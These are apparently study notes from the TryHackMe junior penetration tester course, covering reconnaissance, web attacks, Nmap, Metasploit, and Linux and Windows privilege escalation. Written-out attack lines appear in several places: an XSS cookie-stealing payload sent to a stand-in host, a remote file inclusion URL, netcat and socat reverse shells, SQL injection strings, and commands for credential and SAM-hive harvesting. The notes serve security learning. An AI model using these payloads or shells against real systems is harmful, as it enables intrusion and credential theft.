Junior penetration tester THM

1. Introduction

a. Rules of Engagement - document that is created at the initial stages of a penetration testing engagement. This document consists of three main sections - permission, test scope, rules
b. Methodologies:
    i. OSTTM (The Open Source Security Testing Methodology Manual) - testing strategies for systems, software, applications, communications and the human aspect of cybersecurity; mainly telecommunication, networks
    ii. OWASP (Open Web Application Security Project) - framework used to test the security of web applications and services
    iii. NIST Cybersecurity Framework - improve an organizations cybersecurity standards and manage the risk of cyber threats; guidelines on security controls & benchmarks for organizations
    iv. NCSC CAF (Cyber Assessment Framework) - fourteen principles used to assess the risk of cyber threats and an organization's defenses; for critical infrastructure
c. CIA triad - model to determine the value of data and the attention it need
    i. **Confidentiality** - protection of data from unauthorized access and misuse
    ii. **Integrity** - information needs to be kept accurate, unchanged and consistent unless authorized changes are made during storage, transmission etc.
    iii. **Availability** - information must be available and accessible by the user
d. Models:
    i. **The Bell-La Padula model** - used to achieve **confidentiality**; assumptions: organization's hierarchical structure and everyone's responsibilities are well-defined; **no write down, no read up**
    ii. **Biba Model** - used to achieve **integrity**; for example developer doesn't need access to databases, **no write up, no read down**
e. Threat modeling - process of reviewing, improving, and testing the security protocols
    i. **STRIDE** - Spoofing identity, Tampering with data, Repudiation threats, Information disclosure, Denial of Service and Elevation of privileges
    ii. PASTA - Process for Attack Simulation and Threat Analysis
    iii. CSIRT (Computer Security Incident Response Team) - preparation, identification, containment, eradication, recovery, lessons learned

2. Web hacking

a. Content Discovery

i. Manual:

1. robots.txt; sitemap.xml

2. Favicon - sometimes favicon that is part of the framework installation gets leftover
3. HTTP headers - sometimes contain useful information such as the web server software or language used

ii. OSINT:

1. **Google dorking** - site, inurl, filetype, intitle
2. Wappalyzer, wayback machine, github
3. S3 buckets - service provided by Amazon AWS; Sometimes these access permissions are incorrectly set;
    a. {name}-assets, {name}-www etc.
    b. http(s)://{name}.s3.amazonaws.com
4. Automated search:
    a. ***gobuster*** *dir --url http://MACHINE_IP/ -w /path/to/wordlist.txt*
    b. *dirb http://MACHINE_IP/ /path/to/wordlist.txt*
5. SSL/TSL certificate
6. DNS bruteforce
    a. *dnsrecon -t brt -d domain.com*
7. **Sublist3r** - OSINT subdomain discovery tool
    a. *./sublist3r.py -d domain.com*
8. Virtual hosts - some subdomains may be hidden in the *hosts* file, fuzz the HEAD in HTTP automatically
    a. *ffuf -w /path/to/dns/wordlist.txt -H "Host: FUZZ.domain.com" -u http://MACHINE_IP*
    b. add *-fs {size}* to filter the output, *{size}* is the most occurring size value

b. Authentication bypass

i. a

1. **Username enumeration** - fuzzing wordlist of usernames while checking website answer
    a. ffuf -w /path/to/wordlist.txt -X POST -d "username=FUZZ&email=x&password=x&cpassword=x" -H "Content-Type: application/x-www-form-urlencoded" -u http://MACHINE_IP/signup -mr "message when username is valid"
2. **Brute force** password with known usernames
    a. *ffuf -w usernames.txt:W1,/path/to/password/wordlist.txt:W2 -X POST -d "username=W1&password=W2" -H "Content-Type: application/x-www-form-urlencoded" -u http://MACHINE_IP/login -fc 200*
3. Cookie tampering - manipulating stored cookies to be used in malicious ways (i.e. hijacking a user's session)
4. **IDOR** - Insecure Direct Object Reference; a type of access control vulnerability; happens when too much trust has been

placed on the input, and it is not validated on the server-side to confirm the object belongs to the requester

ii. File inclusion
    1. **Directory traversal** - a web vulnerability which allows an attacker to read operating system resources; the attacker exploits this vulnerability by manipulating the web application's URL to access files stored outside the application's root directory
    2. **Local File Inclusion** (LFI) - attack technique in which attackers trick a web application into running or exposing files on a web server
    3. **Remote File Inclusion** (RFI) is a technique to include remote files into a vulnerable application; attacker can get RCE
        a. example: *webapp.thm/index.php?lang=http://attacker.thm/cmd.txt*

c. SSRF

i. **SSRF** (Server-Side Request Forgery) - a vulnerability that allows an attacker to cause the webserver to make an additional or edited HTTP request to the resource of the attacker's choosing.
    1. example:
        a. Expected: website.com/stock?url=api.website.com/api/stock/item?id=12
        b. Malicious: website.com/stock?url=attacker.com
    2. Attacker can use also directory traversal in path
    3. Blind SSRF - no output is reflected back to you
    4. bypassing:
        a. **deny list**: alternative localhost references such as 0, 0.0.0.0; subdomains with DNS record which resolves to the IP Address 127.0.0.1
        b. **allow list**: creating a subdomain on an attacker's domain name
        c. use of open redirect (endpoint on the server where the website visitor gets automatically redirected to another website address)

d. XSS

i. **Cross-site scripting** - injection attack where malicious JavaScript gets injected into a web application with the intention of being executed by other users

ii. Examples:
    1. Proof of concept: <script>alert('XSS');</script>
    2. Session stealing: <script>fetch('https://hacker.thm/steal?cookie=' + btoa(document.cookie));</script>

iii. **Reflected** XSS - user-supplied data in an HTTP request is included in the webpage source without any validation (mostly in URL query string or path)

iv. **Stored** XSS - payload is stored on the web application (i.e. in a database) and then gets run when other users visit the site
v. **DOM based** XSS - JavaScript execution happens directly in the browser without any new pages being loaded or data submitted to backend code
vi. **Blind** XSS - payload gets stored on the website, but you can't see the payload working (similar to stored XSS)

e. Command injection

i. **Command injection** - abuse of an application's behavior to execute commands on the operating system, using the same privileges that the application on a device is running with (also **RCE**)
ii. Types:
    1. Blind - there is no direct output from the application when testing payloads
        a. Need of payloads which cause time delay or force output
    2. Verbose - there is direct feedback from the application once you have tested a payload

f. SQL Injection

i. **SQL Injection** - attack on a web application database server that causes malicious queries to be executed
ii. Types:
    1. **In-band SQLI** - the attacker receives the result as a direct response using the same communication channel
        a. Error-based - information about the database structure as error messages from the database are printed directly to the browser screen
            i. *1'* (results in syntax error displayed on screen)
        b. Union-based - utilizes the SQL UNION operator alongside a SELECT statement to return additional results to the page; the most common way of extracting large amounts of data
            i. 1' UNION SELECT version(),current_user()--'
    2. **Blind SQLI** - little to no feedback to confirm whether injected queries were successful or not, because the error messages have been disabled; needs a bit of feedback to successful enumerate a whole database
        a. Boolean based - the response received from injection attempts has boolean value; enumerating database:
            i. user’ UNION SELECT 1;--
            ii. user’ UNION SELECT 1,2,3;--
            iii. user’ UNION SELECT 1,2,3 where database() like '%';--
            iv. user’ UNION SELECT 1,2,3 where database() like 's%';--
            v. user’ UNION SELECT 1,2,3 FROM information_schema.tables WHERE

table_schema = 'sqli' and table_name like 'a%';--

vi. …

b. Time-based - indicator of a correct query is based on the time the query takes to complete; introduced by using built-in methods such as SLEEP(x) alongside the UNION statement

i. user' UNION SELECT SLEEP(5),2 where database() like 'u%';--

3. **Out-of-band** SQLI - two different communication channels, one to launch the attack and the other to gather the results; for example the attack channel is a web request, and the data gathering channel is monitoring HTTP requests made to a service you control

iii. Remediation:

1. Prepared statements (with parameterized queries) - any user inputs are added as a parameter afterwards
2. Input validation - protecting what gets put into an SQL query; for example an allow list or a string replacement method
3. Escaping user input - method of prepending a backslash to special characters, which causes them to be parsed just as a regular string

3. Burp Suite

a. Burp Suite - framework written in Java that aims to provide a one-stop-shop for web application penetration testing; can capture and manipulate all of the traffic between an attacker and a webserver send them to various other parts of the Burp Suite framework

b. Proxy

i. capture and modify requests and responses between ourselves and our target

ii. needs to setup local browser proxy/FoxyProxy to work or use embedded browser

iii. install cert from http://burp/cert

c. Repeater

i. allows to craft and relay intercepted requests to a target at will; we can take a request captured in the Proxy, edit it, and send the same request repeatedly as many times as we wish

ii. can be used to automatically enumerate database through SQLi

d. Intruder

i. in-built fuzzing tool; allows to take a request and use it as a template to send many more requests with altered values automatically. for example bruteforce or fuzzing directories; functionality is similar to tools such as Wfuzz or Ffuf

ii. Sub-tabs

1. Positions - select an Attack Type, configure where in the request template we wish to insert our payloads
2. Payloads - select values to insert into each of the positions we defined in the previous sub-tab; alter behavior with regards to payloads (define pre-processing rules)
3. Resource pool - divide our resources between tasks
4. Options - how Burp handles results and how Burp handles the attack itself

iii. Attack types

1. **Sniper** - one set of payloads; i.e single file containing a wordlist; Intruder will take each position and substitute each payload into it in turn
2. **Battering roam** - one set of payloads; puts the same payload in every position rather than in each position in turn at once
3. **Pitchfork** - uses one payload set per position and iterates through them all at once (like multiple snipers)
4. **Clusterbomb** - choose multiple payload sets: one per position; iterates through each payload set individually, making sure that every possible combination of payloads is tested

iv. Decoder

1. allows us to manipulate data; can encode, decode and create hashsums of data
2. provides a Smart Decode feature which attempts to decode provided data recursively until it is back to being plaintext

v. Sequencer

1. allows to measure the entropy of tokens; for example, analyze the randomness of a session cookie or a CSRF token

4. Network security

a. Passive reconnaissance

i. knowledge that you can access from publicly available resources without directly engaging with the target

1. **whois** - request and response protocol that follows the RFC 3912 specification; WHOIS server listens on TCP port 43; the domain registrar is responsible for maintaining the WHOIS records for the domain names it is leasing
    a. information of particular interest: registrar (and his contact info), creation, update, and expiration dates, name server
2. **nslookup** - Name Server Look Up
    a. nslookup OPTIONS DOMAIN_NAME SERVER
        i. A - ipv4 addresses
        ii. AAAA - ipv6 addresses
        iii. MX - mail servers
        iv. TXT - txt records
3. **dig** - Domain Information Groper

    a. dig DOMAIN_NAME TYPE
4. **DNSDumpster** - service that offers detailed answers to DNS queries; returns the collected DNS information in easy-to-read tables and a graph
5. **Shodan.io** - tries to connect to every device reachable online to build a search engine of connected “things”; collects all the information related to the service and saves it in the database to make it searchable
    a. information of particular interest: IP address, hosting company, geographic location, server type and version

b. Active reconnaissance

i. information gathered contact with target

ii. web browser

1. Developer tools
2. FoxyProxy - quickly change the proxy server you are using to access the target website
3. User-Agent Switcher and Manager - gives the ability to pretend to be accessing the webpage from a different operating system or web browser
4. Wappalyzer - provides insights about the technologies used on the visited websites

iii. **ping** - falls under protocol ICMP echo/type 8, echo reply/type 0

1. *-s* - set the size of the data
2. 8 bytes is the size of ICMP header
3. MS Windows Firewall blocks ping by default

iv. **traceroute** - traces the route taken by the packets from your system to another host; indicates the number of hops between your system and the target host

1. windows decrements TTL, linux increments
2. some routers return a public IP address

v. **telnet** - protocol developed in 1969 to communicate with a remote system via CLI; sends all the data in cleartext

1. telnet MACHINE_IP PORT
2. you can use Telnet to connect to any service and grab its banner and exchange messages unless it uses encryption

vi. **netcat** - supports both TCP and UDP protocols; can function as a client that connects to a listening port and act as a server

1. nc MACHINE_IP PORT
2. nc -lvnp PORT (simple server listening on PORT)

c. Nmap

i. industry-standard tool for mapping networks, identifying live hosts, and discovering running services; can further extend its functionality, from fingerprinting services to exploiting vulnerabilities

ii. Enumarating targets

1. nmap -iL list_of_hosts.txt (targets as a list)
2. nmap -sL TARGETS (check what nmap will scan)

3. **Host discovery using ARP** (default local privileged scan)
    a. the same subnet as the target systems
    b. nmap -sn TARGETS
    c. -sn to avoid port scanning
    d. arp-scan - scanner built around ARP queries
4. **Host Discovery Using ICMP**
    a. sending ICMP echo requests to all the IP addresses in the target subnet
    b. ICMP echo requests tend to be blocked,
    c. nmap **-PE** -sn TARGET (ICMP **Echo** Type 8/Echo and 0)
    d. nmap **-PP** -sn MACHINE_IP/24 (ICMP **Timestamp** Type 13 and 14)
    e. nmap **-PM** -sn MACHINE_IP/24 (ICMP **Address mask** Type 17 and 18)
5. **Host Discovery Using TCP and UDP**
    a. TCP Syn Ping
        i. sending a packet with the SYN flag set to a TCP port, an open port replies with a SYN/ACK; a closed port results in an RST
        ii. nmap **-PS** -sn MACHINE_IP/24
    b. TCP ACK Ping (privileged)
        i. sends a packet with an ACK flag set, the target responds with the RST flag set (the TCP packet with the ACK flag is not part of any ongoing connection)
        ii. sudo nmap **-PA** -sn MACHINE_IP/24
    c. UDP Ping
        i. sending a UDP packet to an open port is not expected to lead to any reply
        ii. if we send a UDP packet to a closed UDP port we expect to get an ICMP port unreachable packet; this indicates that the target system is up and available
        iii. sudo nmap **-PU** -sn MACHINE_IP/24

iii. Port scans

1. Port states
    a. **Open**: service is listening on the specified port.
    b. **Closed**: no service is listening on the specified port; the port is accessible
    c. **Filtered**: cannot determine if the port is open or closed because the port is not accessible (firewall)
    d. **Unfiltered**: cannot determine if the port is open or closed, although the port is accessible (ACK scan)
    e. **Open|Filtered**: cannot determine whether the port is open or filtered.

f. **Closed|Filtered**: cannot decide whether a port is closed or filtered.

2. **TCP connect scan** (only one unprivileged)
    a. Completing three-way handshake, then sending RST/ACK
    b. nmap -sT MACHINE_IP
3. **TCP SYN scan** (default priviliged)
    a. Not completing three-way handshake; send RST after getting SYN/ACK
    b. Decreases the chances of the scan being logged
    c. nmap -sS MACHINE_IP
4. **UDP scan**
    a. if a UDP packet is sent to a closed port, an ICMP port unreachable error (type 3, code 3) is returned
    b. sudo nmap -sU MACHINE_IP

iv. Advanced port scans

1. **Null scan**
    a. does not set any flag
    b. no reply - the port is open or a firewall is blocking the packet (open|filtered)
    c. RST/ACK reply - the port is closed
    d. nmap -sN MACHINE_IP
2. **FIN scan**
    a. sends a TCP packet with the FIN flag set
    b. no reply - the port is open or a firewall is blocking the packet (open|filtered)
    c. RST/ACK reply - the port is closed
    d. nmap -sF MACHINE_IP
3. **Xmas scan**
    a. sets the FIN, PSH, and URG flags simultaneously
    b. no reply - the port is open or a firewall is blocking the packet (open|filtered)
    c. RST/ACK reply - the port is closed
    d. nmap -sX MACHINE_IP
4. **TCP ACK scan**
    a. sends a TCP packet with the ACK flag set
    b. responds with RST regardless of the state of the port
    c. ports which responded were not blocked by the firewall (unfiltered); suitable to discover firewall rule sets and configuration
    d. nmap -sA MACHINE_IP
5. **Window scan**
    a. almost the same as the ACK scan
    b. examines the TCP Window field of the RST packets returned; on specific systems, this can reveal that the port is open
    c. nmap -sW MACHINE_IP
6. **Custom scan**

a. own TCP flag combination
b. need to know how the different ports will behave
c. nmap --scanflags CUSTOM_FLAGS MACHINE_IP

v. Other techniques

1. Spoofing
    a. The attacker needs to monitor the network for responses
    b. nmap -e NET_INTERFACE -Pn -S SPOOFED_IP MACHINE_IP
    c. possible if the attacker and the target machine are on the same Ethernet (802.3) network or same WiFi (802.11)
    d. --spoof-mac SPOOFED_MAC
2. Decoys
    a. make the scan appears to be coming from many IP addresses so that the attacker's IP address would be lost among them
    b. nmap -D 10.10.0.1,10.10.0.2,RND,RND,ME MACHINE_IP
3. Fragmented packets
    a. divide data section of TCP packet into 8 bytes
    b. -f flag
    c. data sized can be increased to look innocent by --data-length NUM
4. Idle/Zombie scan
    a. requires an idle system connected to the network that you can communicate with.
    b. nmap makes scan appear as if coming from the idle host, then it will check the IP identification (IP ID) value in the IP header whether the idle host received any response to the spoofed probe
    c. the difference is 1 - the port was closed or filtered.
    d. the difference is 2 - the port was open.
    e. nmap -sI ZOMBIE_IP MACHINE_IP

d. Protocols and servers

i. FTP (port 21) - File Transfer Protocol

1. Active - the data is sent over a separate channel originating from the FTP server's port 20.
2. Passive - the data is sent over a separate channel originating from an FTP client's port above port number 1023.
3. Commands
    a. USER <username>
    b. PASS <password>
    c. PASV - passive mode
    d. STAT - additional info
    e. TYPE A - transfer mode ASCII; TYPE I - transfer mode binary

ii. SMTP (port 25) - Simple Mail Transfer Protocol
    1. Mail delivery
        a. A Mail User Agent (MUA) connects to a Mail Submission Agent (MSA) to send its message.
        b. The MSA receives the message, checks for any errors before transferring it to the Mail Transfer Agent (MTA) server, commonly hosted on the same server.
        c. The MTA will send the email message to the MTA of the recipient. The MTA can also function as a Mail Submission Agent (MSA).
        d. A typical setup would have the MTA server also functioning as a Mail Delivery Agent (MDA).
        e. The recipient will collect its email from the MDA using their email client.
    2. used to communicate with an MTA server; works in cleartext
iii. POP3 (port 110) - Post Office Protocol version 3
    1. used to download the email messages from a MDA server; works in cleartext
iv. IMAP (port 143) - Internet Message Access Protocol
    1. more sophisticated than POP3; makes it possible to keep email synchronized across multiple devices
v. SSL/TLS
    1. TLS is more secure than SSL, and it has practically replaced SSL
    2. An existing cleartext protocol can be upgraded to use encryption via SSL/TLS
    3. To establish an SSL/TLS connection, the client needs to perform the proper handshake with the server

5. Vulnerability research

a. NIST definition

i. weakness in an information system, system security procedures, internal controls, or implementation that could be exploited or triggered by a threat source

b. Main categories

i. Operating system - found within OSs and often result in privilege escalation
ii. (Mis)Configuration-based - incorrectly configured application or service
iii. Weak or default credentials
iv. Application logic - result of poorly designed applications
v. Human-based - leverage human behavior

c. Scoring frameworks

i. **Common Vulnerability Scoring System** (CVSS)
    1. popular framework for vulnerability scoring and has three major iterations; a vulnerability is given a classification

depending on the score determined by some of the following factors
    a. How easy is it to exploit the vulnerability?
    b. Do exploits exist for this?
    c. How does this vulnerability interfere with the CIA triad?

ii. **Vulnerability Priority Rating** (VPR)
1. much more modern framework in vulnerability management - developed by Tenable; considered to be risk-driven - heavy focus on the risk a vulnerability poses to the organization itself, rather than factors such as impact

d. Databases

i. **National Vulnerability Database** (NVD)
1. website that lists all publically categorized vulnerabilities; CVEs have the formatting of CVE-YEAR-IDNUMBER

ii. **Exploit-DB**
1. exploits for software and applications stored under the name, author and version of the software or application

e. Finding exploits

i. **Rapid7**
1. vulnerability research and exploit database; can be filtered by type of vulnerability

ii. **GitHub**
1. useful in finding rare or fresh exploits because anyone can create an account and upload – there is no formal verification process

iii. **Searchsploit**
1. tool that is available on popular pentesting distributions; this tool is an offline copy of Exploit-DB, containing copies of exploits on the system

6. Metasploit

a. Description

i. set of tools that allow information gathering, scanning, exploitation, exploit development, post-exploitation, and more

b. Modules

i. **Auxiliary** - any supporting module (i.e scanners, crawlers and fuzzers)
ii. **Encoders** - allow you to encode the exploit and payload in the hope that a signature-based antivirus solution may miss them
iii. **Evasion** - modules that attempt to evade antivirus software.
iv. **Exploits** - neatly organized by target system.
v. **NOPs** - do nothing
vi. **Payloads** - codes that will run on the target system
1. **Singles -** self-contained; no need to download an additional component
    a. generic/shell_reverse_tcp

2. **Stagers -** setting up a connection channel between Metasploit and the target system; firstly upload a stager on the target system then download the rest of the payload (stage); the initial size of the payload will be relatively small
    a. windows/x64/shell/reverse_tcp
3. **Stages** - downloaded by the stager; allow you to use larger sized payloads.

vii. **Post** - modules useful on the final stage of the testing

c. Usage

i. tab completion
ii. managed by context; all settings will be lost if you change the module
iii. ranking system for exploits
iv. commands
    1. show <options/payloads/exploits etc.>
    2. use <exploit>
    3. set <parameter> <value> (setg for global scope)
    4. run/exploit (-z for run in background)
    5. check
    6. search <phrase>
    7. info <phrase>
    8. background
    9. sessions
    10. sessions -i <number>

d. Exploitation

i. Scanning

1. search portscan
2. nmap scans can be directly performed from the msfconsole
3. scanner/discovery/udp_sweep - quickly identify services running over the UDP

ii. Metasploit database

1. simplify project management and avoid possible confusion when setting up parameter values.
2. systemctl start postgresql
3. msfdb init
4. db_status
5. workspace - database feature allows creating workspaces to isolate different project
6. hosts - all hosts in the database (-R to set RHOSTS)

iii. Msfvenom

1. allows you to generate payloads
2. options
    a. -e php/base64 - encoder
    b. -f <format>
    c. -p <OS>/<arch>/<payload>
    d. LHOST=<IP>
    e. LPORT=<PORT>

3. remove comments, add end tag
4. use exploit/multi/handler - catching meterpreter session in msfconsole

e. Meterpreter

i. Description

1. Metasploit payload that supports the penetration testing process; run on the target system and act as an agent within a command and control architecture
2. runs in RAM to avoid having a file that has to be written to the disk on the target system
3. avoid being detected by network-based IPS and IDS by using encrypted communication with the server
4. most antivirus software will detect it

ii. Commands

1. background - backgrounds the current session
2. info - displays information about a Post module
3. migrate - migrate Meterpreter to another process
4. run - executes a Meterpreter script or Post module
5. shell - drops into a system command shell
6. getsystem - attempts to elevate your privilege to that of local system
7. hashdump - dumps the contents of the SAM database
8. guid - get the session GUID
9. search - search for files

7. Privilege escalation

a. Shells

i. Tools

1. netcat - all kinds of network interactions
2. socat - netcat on steroids; more difficult syntax
3. metasploit multi/handler - obtain stable shells, with a wide variety of further options to improve the caught shell
4. msfvenom - generate payloads on the fly
5. Payloads all the Things - wide range of shell codes

ii. Types

1. Reverse shell - listener on the attacker's system; good way to bypass firewall rules that may prevent you from connecting to arbitrary ports
    a. attacker: sudo nc -lvnp <PORT>
    b. target: nc <LOCAL-IP> <PORT> -e /bin/bash
2. Bind shell - listener on the target

iii. Netcat shell stabilization

1. Python
    a. python -c 'import pty;pty.spawn("/bin/bash")' - spawn a better featured bash shell

    b. export TERM=xterm - give us access to term commands such as clear
    c. stty raw -echo; fg (ctrl+z; own terminal) - turns off our own terminal echo
2. rlwrap
    a. gives access to history, tab autocompletion and the arrow keys immediately upon receiving a shell
    b. particularly useful when dealing with Windows shells
    c. rlwrap nc -lvnp <port>
3. change terminal tty size
    a. if you want to use something which overwrites everything on the screen for example text editor
    b. stty -a
    c. stty rows <number>
    d. stty cols <number>
4. linux netcat version without shell support
    a. mkfifo /tmp/f; nc -lvnp <PORT> < /tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f - bind shell
    b. mkfifo /tmp/f; nc <LOCAL-IP> <PORT> < /tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f - reverse shell

iv. Socat

1. connector between two points (in the shell case between the listening port and standard input)
2. limited to Linux targets (no better stabilization on Windows)
3. reverse shell
    a. socat TCP-L:<port> -
    b. socat TCP:<LOCAL-IP>:<LOCAL-PORT> EXEC:"bash -li"
4. bind shell
    a. socat TCP-L:<PORT> EXEC:"bash -li"
    b. socat TCP:<TARGET-IP>:<TARGET-PORT> -
5. fully stable Linux tty reverse shell
    a. socat TCP-L:<port> FILE:`tty`,raw,echo=0
    b. socat TCP:<attacker-ip>:<attacker-port> EXEC:"bash -li",pty,stderr,sigint,setsid,sane
6. encrypted shell
    a. OPENSSL instead of TCP in commands
    b. openssl req --newkey rsa:2048 -nodes -keyout shell.key -x509 -days 362 -out shell.crt - generate a certificate
    c. cat shell.key shell.crt > shell.pem
    d. socat OPENSSL-LISTEN:<PORT>,**cert=shell.pem**,verify=0 - (reverse shell listener)

v. Webshell

1. script that runs inside a webserver which executes code on the server

2. commands are entered into a webpage which are then executed by the script, with the results returned and written to the page

b. Linux privilege escalation

i. Enumeration

1. hostname - can provide information about the target system's role
2. uname -a - additional detail about the kernel
3. /proc/version - information on the kernel version and additional data such as whether a compiler is installed
4. /etc/issue - information about the operating system
5. ps - running processes
6. env - environmental variables
7. sudo -l - list all commands your user can run using sudo
8. id - overview of the user's privilege level and group memberships
9. /etc/passwd - discover users on the system
10. history - earlier commands
11. ifconfig - information about the network interfaces
12. netstat -ano - all sockets
13. find - important information and potential privilege escalation vectors

ii. Automated enumeration tools

1. LinPeas
2. LinEnum
3. Linux Exploit Suggester
4. Linux Smart Enumeration
5. Linux Priv Checker

iii. Kernel exploits

1. the kernel manages the communication between components such as the memory on the system and applications
2. kernel needs to have specific privileges
3. a successful exploit will potentially lead to root privileges; failed may lead to a system crash
4. methodology
    a. identify the kernel version
    b. search and find an exploit code for the kernel version of the target system
    c. run the exploit

iv. sudo

1. GTFOBins - list of Unix binaries that can be used to bypass local security restrictions in misconfigured system
2. Leverage application functions
3. Leverage LD_PRELOAD
    a. LD_PRELOAD is a function that allows any program to use shared libraries
    b. this option will be ignored if the real user ID is different from the effective user ID

c. check for LD_PRELOAD (sudo -l)
d. write a C code compiled as a share object file
e. run the program with sudo rights and the LD_PRELOAD option pointing to our .so file

v. SUID

1. allow files to be executed with the permission level of the file owner (SUID) or the group owner (SGID)
2. find / -type f -perm -04000 -ls 2>/dev/null
3. compare results with GTFOBins

vi. Capabilities

1. help manage privileges at a more granular level
2. getcap -r / 2>/dev/null
3. compare results with GTFOBins

vii. Cronjobs

1. used to run scripts or binaries at specific times; run with the privilege of their owners
2. cat /etc/crontab
3. if user can access the script, he can modify it to create a reverse shell
4. if the full path of the script is not defined, cron will refer to the paths listed under the PATH variable in the /etc/crontab file - create a the script under user's home folder

viii. Path

1. if a folder with write permission is located in the path, you could potentially hijack an application to run a script
2. find / -writable 2>/dev/null - search for writable folders
3. echo $PATH - compare folders with PATH
4. find / -writable 2>/dev/null | cut -d "/" -f 2,3 | grep -v proc | sort -u - find subfolders
5. create script in $PATH writable folder or (if possible) add writable folder to $PATH

ix. NFS

1. kept in the /etc/exports file; created during the NFS server installation and can usually be read by users
2. if the "no_root_squash" option is present on a writable share, we can create an executable with SUID bit set and run it on the target system
3. showmount -e <TARGET_IP> - enumerate mountable shares (from attacking machine)
4. mount -o rw <TARGET_IP>:/backups /tmp/attacker_backup
5. create script with setting suid bits and executing terminal
6. run the script

c. Windows privilege escalation

i. Windows users

1. **Administrators** - can change any system configuration parameter and access any file in the system

2. **Standard users** - can access the computer but only perform limited tasks
3. **SYSTEM / LocalSystem** - account used by the operating system to perform internal tasks; full access to all files and resources
4. **Local Service -** default account used to run Windows services with minimum privileges; it will use anonymous connections over the network
5. **Network Service** - default account used to run Windows services with minimum privileges; it will use the computer credentials to authenticate through the network

ii. Harvesting passwords from usual spots

1. Unattended Windows installations
    a. when installing Windows on a large number of hosts, administrators may use Windows Deployment Services - single OS image deployed to several hosts through the network.
    b. administrator credentials can be spotted in files like C:\Unattend.xml, C:\Windows\Panther\Unattend.xml
2. Powershell history
    a. type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt (cmd)
3. Saved Windows credentials
    a. Windows allows to use other users' credentials and save these credentials on the system
    b. cmdkey /list (list saved credentials)
4. IIS configuration
    a. **Internet Information Services** - the default web server on Windows installations
    b. configuration is stored in a file called web.config and can store passwords for databases or configured authentication mechanisms
    c. C:\inetpub\wwwroot\web.config
    d. C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
5. Retrieve credentials from software
    a. retrieve the stored proxy credentials by searching under the registry key for ProxyPassword
    b. reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\ /f "Proxy" /s
6. Scheduled tasks
    a. schtasks
    b. you may see a task that lost its binary or it's using a binary you can modify
    c. schtasks /query /tn vulntask /fo list /v (more info)

    d. icacls <FILE> (check file permissions)
7. AlwaysInstallElevated
    a. Windows installer files (.msi) usually run with the privilege level of the user that starts it; these can be configured to run with higher privileges from any user account
    b. requires two registry values to be set
        i. reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer
        ii. reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer
    c. generate .msi payload
    d. msiexec /quiet /qn /i C:\Windows\Temp\malicious.msi - run the installer

iii. Abusing Service Misconfigurations

1. Windows Services
    a. managed by the **Service Control Manager** - a process which can manage the state of services, check the current status of given service and provide a way to configure services
    b. each service has an associated executable which will be run whenever a service is started
    c. service executables implement special functions to be able to communicate with the SCM - not any executable can be started as a service
    d. each service also specifies the user account under which the service will run
    e. **sc qc** - check the apphostsvc service configuration
    f. services have a Discretionary Access Control List (**DACL**), which indicates who has permission to start, stop, query status or configuration; the DACL can be seen from **Process Hacker**
2. Insecure Permissions on Service Executable
    a. check, if service's executable can be modified or overwritten (sc qc and icacls)
    b. modify it with payload
    c. attacker gains privileges of the service's account
3. Unquoted Service Paths
    a. the path of the associated executable isn't properly quoted to account for spaces on the command
    b. SCM search and run sequence for unquoted paths - words after space are treated as arguments
        i. C:\\MyPrograms\\Disk.exe
        ii. C:\\MyPrograms\\Disk Sorter.exe

iii. C:\\MyPrograms\\Disk Sorter Enterprise\\bin\\disksrs.exe (typically run in a default installation)

c. if one of the files is writable, move there your payload
d. icacls C:\MyPrograms\Disk.exe /grant Everyone:F (grant your payload permissions)

4. Insecure Service Permissions
    a. if the service DACL allows you to modify the configuration of a service, you are able to reconfigure the service and point to any executable
    b. accesschk64.exe -qlc <SERVICE> - check for a service DACL
    c. move your payload to attacked machine
    d. icacls <PATH_TO_PAYLOAD> /grant Everyone:F
    e. sc config THMService binPath= "<PATH_TO_PAYLOAD>" obj= LocalSystem - change service's executable

iv. Abusing dangerous priviliges

1. **Windows priviliges**
    a. rights that an account has to perform specific system-related tasks
    b. whoami /priv - check assigned priviliges
    c. Priv2Admin - list of exploitable privileges
2. **SeBackup / SeRestore**
    a. these privileges allow users to read and write to any file, ignoring any DACL in place
    b. open cmd as admin
    c. copy SAM
        i. reg save hklm\system C:\Users\thm\system.hive
        ii. reg save hklm\sam C:\Users\thm\sam.hive
3. **SeTakeOwnership**
    a. this privilege allows a user to take ownership of any object on the system, including files and registry keys
    b. attacker can take ownership of the service's executable or replace exe owning SYSTEM privileges with cmd
    c. takeown /f <PATH_TO_EXE> - set yourself the owner
    d. icacls <PATH_TO_EXE> /grant <USERNAME>:F - assign priviliges
    e. copy cmd.exe <PATH_TO_EXE> - optionally run cmd as admin
4. **SeImpersonate / SeAssignPrimaryToken**
    a. these privileges allow a process to impersonate other users and act on their behalf and being able to spawn a process under the security context of another user
    b. spawn a process so that users can connect and authenticate to it for impersonation

c. find a way to force privileged users to connect and authenticate to the malicious process